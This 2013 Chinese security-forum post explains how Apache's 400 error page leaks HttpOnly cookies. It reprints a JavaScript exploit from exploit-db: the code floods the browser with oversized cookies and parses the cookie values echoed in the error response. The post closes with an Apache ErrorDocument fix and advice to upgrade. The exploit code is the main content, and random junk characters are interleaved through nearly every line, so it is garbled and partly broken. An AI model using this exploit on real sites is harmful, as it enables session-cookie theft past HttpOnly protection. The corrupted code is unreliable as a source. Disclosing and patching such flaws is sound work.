找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2740|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。5 q/ w2 @# x; T8 o) Y2 H& x3 h
$ s" j3 |) h: f
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:) K1 K3 m. I: Y7 E
/ y; l$ @  H( B8 A
* {$ M+ `$ r* b9 T6 T
// http://www.exploit-db.com/exploits/18442/* h' l5 B( D: G& w  a" a' T! Q
function setCookies (good) {
+ `$ F6 z* i3 i6 W0 g7 J// Construct string for cookie value
9 f& k. h+ b8 t2 |9 [$ y; y0 B/ y- Zvar str = "";' u' m1 G( b' m" i6 |5 m# E% w
for (var i=0; i< 819; i++) {3 }1 A' ?6 b) F7 m' `
str += "x";$ c9 ?% |/ f4 j3 I
}5 E" \* x' {- _0 s4 k6 `1 j7 z1 Y9 U5 i
// Set cookies0 g& k6 q+ u( {# |2 E* o
for (i = 0; i < 10; i++) {
% L8 M9 z% y" N0 A9 V* Q" P4 s// Expire evil cookie
  D3 `% }" K6 X. a4 P* d/ r1 nif (good) {
/ z% C/ N1 |# g0 [var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";5 V2 V& G, j& P- T
}3 ?- O. Z: I: x* F
// Set evil cookie3 m! K( s; V% o
else {
9 ~9 i8 Q& A+ M0 ^+ d( ivar cookie = "xss"+i+"="+str+";path=/";
1 _8 S2 |" c( b' k+ ^3 U. n- q}
( p' O- k0 D* B4 j; n+ Vdocument.cookie = cookie;
4 a! z1 _3 g5 c7 ]}
! T$ {- Q! o6 Y# h7 @6 @1 z}
, S8 q+ w# K: L- G; \2 L/ Qfunction makeRequest() {
: |! t2 p+ o9 T- X! J* U  ?setCookies();/ a: O7 f  V, d! [, @
function parseCookies () {
$ r- u: s& S& F- T& Y! gvar cookie_dict = {};/ M8 T* R/ h) s4 J" u$ N3 E  x
// Only react on 400 status3 G" M8 N' z1 H, H7 f
if (xhr.readyState === 4 && xhr.status === 400) {0 ^( ~! Y( Q% L
// Replace newlines and match <pre> content7 Z9 f3 [3 w8 B
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
8 C2 v# d. _( Y0 C+ uif (content.length) {( ~1 b! ?, b" f
// Remove Cookie: prefix" g3 z2 A6 n" N: X/ `+ m" `2 A
content = content[1].replace("Cookie: ", "");
  ^, P# Z; Z6 L5 P# e+ w% cvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
" @- k# f* }9 d" s// Add cookies to object
: G7 F) B& k+ ~6 e1 ]for (var i=0; i<cookies.length; i++) {$ |) W- \4 [; Q. A- L
var s_c = cookies.split('=',2);
6 Q0 T- c5 Z+ Z+ ?5 i- B7 |cookie_dict[s_c[0]] = s_c[1];1 R, W7 ?6 q, ^0 ]
}
" q6 x, P7 F; v' @7 S9 j/ u, A}8 o+ X6 ^- j9 L9 O. G% a! w1 ?2 o/ n
// Unset malicious cookies; ^# ^5 ~' [/ e7 k( d$ W, a& g
setCookies(true);
$ C% O- m4 ?8 U! C& A) ^* ^% aalert(JSON.stringify(cookie_dict));
, P0 _9 q! }& g8 Q  i2 Y3 d- o}
" k1 [. l: O: l' C0 Z}
4 p; M5 h1 {' u. @1 q0 z/ C% O// Make XHR request, l. A8 U( R$ r+ C6 ]
var xhr = new XMLHttpRequest();' Q7 b+ _% v# E; b0 `
xhr.onreadystatechange = parseCookies;1 m. R2 K' ?; M/ C1 D2 Q
xhr.open("GET", "/", true);
6 \. F7 u- o" @* R; p: N4 @xhr.send(null);
1 H. P+ B' l% J; {  v# ]}
0 l8 R& j* q: r, Z! @0 \6 G+ Q( ?" [1 CmakeRequest();8 ^. |* o8 I5 r# ?" c4 ^

* i- T. ]/ p9 G3 H5 H% ?  m7 T% b6 l你就能看见华丽丽的400错误包含着cookie信息。) f" {5 @8 {3 u2 E* R& s. N6 ~, ]' N" x

+ C3 U, f/ F; p5 \下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
$ A8 p8 Y2 y+ @& T: q/ E( {1 t( Z% V' ]
修复方案:7 w. w2 A8 g9 _) R7 Q, w# ^4 q9 B; U

- f  B  t1 [5 w1 s* V. XApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下; Z* a' p; g& s+ P: L: {
5 K, Q' m/ A8 N3 s1 q$ d) j
In the event of a problem or error, Apachecan be configured to do one of four things,
! _4 n7 y" i- W4 _+ a  r$ w9 B8 n1 U( s  y: X2 h5 D
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息( l& t, j: [4 D3 \& G
2. output acustomized message输出一段信息4 g1 x9 I9 z% D: [- P$ F
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 2 W7 ~  o# ]- W: z
4. redirect to an external URL to handle theproblem/error转向一个外部URL
8 v8 B; h3 k$ i( r) b7 x
% L  p* I" P& U) v& \3 ]- T经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容2 S  o9 x7 C7 m, a) C% B, m, h7 |' q. G

: j" J# L9 W& M* x, ~Apache配置:8 u& g+ p/ x) M5 w5 s* u, V

, }) z3 I1 C- R* M* [ErrorDocument400 " security test"' w( g) F& p$ o0 B: j* M. b$ ^
- m" W- L5 |1 |5 }$ U
当然,升级apache到最新也可:)。& e" j% U: t4 s1 I0 ^1 Q9 m; j# f

& _% ]. }3 {* j参考:http://httpd.apache.org/security/vulnerabilities_22.html4 e5 Y" t- H3 A$ x
. S  N* C; ~. i# k) W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表